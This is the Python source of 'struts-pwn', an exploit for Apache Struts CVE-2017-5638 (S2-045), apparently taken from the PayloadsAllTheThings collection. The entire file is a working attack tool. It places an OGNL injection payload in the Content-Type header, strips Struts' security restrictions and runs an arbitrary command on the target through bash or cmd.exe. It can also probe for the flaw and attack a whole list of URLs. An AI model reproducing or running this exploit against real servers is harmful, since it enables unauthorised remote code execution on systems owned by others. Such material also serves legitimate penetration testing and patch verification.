PayloadsAllTheThings/CVE Exploits/Apache Struts 2 CVE-2017-5638.py
2018-03-23 13:53:53 +01:00

177 lines
6.1 KiB
Python
Executable File

#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://www.exploit-db.com/exploits/41570/
# https://www.seebug.org/vuldb/ssvid-92746
# *****************************************************
import sys
import random
import requests
import argparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: id)",
action='store',
default='id')
parser.add_argument("--check",
dest="do_check",
help="Check if a target is vulnerable.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_check = args.do_check if args.do_check else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
result = True
else:
result = False
except Exception as e:
print("EXCEPTION::::--> " + str(e))
result = False
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
if url:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except:
print('Error: There was an error in reading list file.')
exit(1)
for url in URLs_List:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)